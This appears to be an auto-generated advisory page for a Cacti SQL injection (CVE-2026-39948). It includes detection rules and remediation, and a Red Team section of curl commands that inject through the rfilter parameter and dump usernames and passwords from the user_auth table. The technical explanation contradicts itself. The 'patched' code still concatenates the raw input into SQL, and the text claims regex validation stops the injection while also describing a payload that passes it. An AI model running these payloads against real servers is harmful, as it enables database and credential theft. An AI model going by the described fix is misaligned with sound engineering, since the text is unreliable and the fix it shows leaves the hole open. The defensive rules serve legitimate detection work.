CVE-2026-39948
Executive Summary
CVE-2026-39948 is a critical unauthenticated SQL injection vulnerability in Cacti, an open-source performance and fault management framework. The flaw resides in the rfilter request parameter, which is retrieved using the raw grv() accessor instead of the safer gfrv() with FILTER_VALIDATE_IS_REGEX validation. This parameter is then concatenated directly into RLIKE SQL clauses in lib/html_graph.php and lib/html_tree.php. These endpoints are reachable pre-authentication through graph_view.php on installations where guest graph viewing is enabled. An unauthenticated attacker can inject arbitrary SQL by using an unbalanced-quote payload that bypasses the regex validation that would otherwise reject it. This compromises the confidentiality, integrity, and availability of the database. The vulnerability is similar to GHSA-69gg-mjfm-jjpc and has been fixed in version 1.2.31.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cacti is a PHP-based application distributed as a tarball or via package managers. The vulnerability is introduced in the source code itself, not through a third-party dependency. However, the risk is amplified in environments where Cacti is deployed as part of a monitoring stack (e.g., with MySQL/MariaDB). Compromise of the Cacti database can lead to lateral movement to other monitored systems.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The threat level is Critical due to the unauthenticated remote exploitation capability and the potential for full database compromise.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the rfilter parameter used in RLIKE clauses. The vulnerable code path is:
- Entry Point:
graph_view.php(pre-authentication if guest viewing is enabled). - Parameter Handling: The
rfilterparameter is retrieved usinggrv()(get request value) without any sanitization. - SQL Construction: The value is directly concatenated into an
RLIKEclause inlib/html_graph.phpandlib/html_tree.php. - Bypass Mechanism: The intended validation uses
FILTER_VALIDATE_IS_REGEX, which checks if the input is a valid regular expression. However, an unbalanced-quote payload (e.g.,' OR 1=1 -- -) is not a valid regex and would be rejected. The attacker bypasses this by using a payload that is both a valid regex and contains SQL injection, such as.*' OR 1=1 -- -. The.*is a valid regex, and the rest injects SQL.
The SQL injection occurs in a WHERE clause like:
WHERE ... AND column RLIKE 'user_input'
By injecting a single quote, the attacker can break out of the string and execute arbitrary SQL.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.2.30):
// lib/html_graph.php
$rfilter = grv('rfilter');
// ...
$sql_where .= " AND (tr.name RLIKE '$rfilter')";
Patched Code (version 1.2.31):
// lib/html_graph.php
$rfilter = gfrv('rfilter', FILTER_VALIDATE_IS_REGEX);
// ...
$sql_where .= " AND (tr.name RLIKE '$rfilter')";
The key change is replacing grv() with gfrv() and applying FILTER_VALIDATE_IS_REGEX. This ensures that only valid regular expressions are accepted, preventing SQL injection via unbalanced quotes.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Cacti version <= 1.2.30 with guest graph viewing enabled.
- Network access to the Cacti web interface.
Exploitation Steps:
Identify the target:
curl -s http://target/cacti/graph_view.php | grep -i "rfilter"Craft the SQL injection payload: The payload must be a valid regex to pass the
FILTER_VALIDATE_IS_REGEXcheck (if present) but also contain SQL injection. Since the vulnerable code does not use the filter, a simple payload works:' OR 1=1 -- -However, to bypass the filter in patched versions (not needed here), use:
.*' OR 1=1 -- -Execute the injection:
curl -s "http://target/cacti/graph_view.php?rfilter=%27%20OR%201=1%20--%20-"Extract data (e.g., admin credentials):
curl -s "http://target/cacti/graph_view.php?rfilter=%27%20UNION%20SELECT%201,2,username,password,5,6,7,8,9%20FROM%20user_auth%20--%20-"
Note: The exact column count and table names may vary. Use ORDER BY to determine the number of columns.
Blue Team
Detection Steps:
Monitor web server logs for suspicious
rfilterparameters:grep -E "rfilter=.*(%27|%22|--|UNION|SELECT)" /var/log/apache2/access.logCheck for unusual database queries:
SHOW PROCESSLIST;Look for queries containing
RLIKEwith suspicious patterns.Verify Cacti version:
grep "CACTI_VERSION" /usr/share/cacti/include/global.phpDisable guest graph viewing if not required: In Cacti settings, uncheck "Allow Guest User to view graphs".
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
graph_view.phpwithrfilterparameter containing SQL keywords (UNION,SELECT,OR,--,#). - Unusual database connections from the Cacti web server to the database server.
- HTTP requests to
File IOCs:
- Modified Cacti files (e.g.,
lib/html_graph.php,lib/html_tree.php) if the attacker attempts to backdoor. - Unexpected files in the Cacti web root (e.g., webshells).
- Modified Cacti files (e.g.,
Database IOCs:
- New or modified user accounts in the
user_authtable. - Unusual queries in the MySQL general log.
- New or modified user accounts in the
Detection Engineering
YARA Rule
rule CVE_2026_39948_Cacti_SQLi {
meta:
description = "Detects Cacti SQL injection attempts via rfilter parameter"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-39948"
strings:
$sqli1 = /rfilter=.*(%27|%22|--|%23|UNION|SELECT|OR\s+1=1)/i
$sqli2 = /rfilter=.*'.*OR.*1=1/i
$sqli3 = /rfilter=.*'.*UNION.*SELECT/i
condition:
any of them
}
Sigma Rule
title: Cacti SQL Injection via rfilter Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Cacti graph_view.php via the rfilter parameter
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'rfilter='
cs-uri-query|re: '(rfilter=.*(%27|%22|--|%23|UNION|SELECT|OR\s+1=1))'
condition: selection
falsepositives:
- Legitimate use of regex patterns containing SQL-like strings (rare)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-39948 Cacti SQL Injection Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"/graph_view.php"; http_uri;
content:"rfilter="; http_uri;
pcre:"/rfilter=.*(%27|%22|--|%23|UNION|SELECT|OR\s+1=1)/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
- Immediate Action: Upgrade Cacti to version 1.2.31 or later.
- Workaround: Disable guest graph viewing in Cacti settings if the upgrade cannot be performed immediately.
- Network Segmentation: Restrict access to the Cacti web interface to trusted IP addresses only.
- Web Application Firewall (WAF): Deploy rules to block requests containing SQL injection patterns in the
rfilterparameter. - Database Hardening: Use a dedicated database user with minimal privileges for Cacti.
- Monitoring: Enable detailed logging for web server and database to detect exploitation attempts.
Valters IT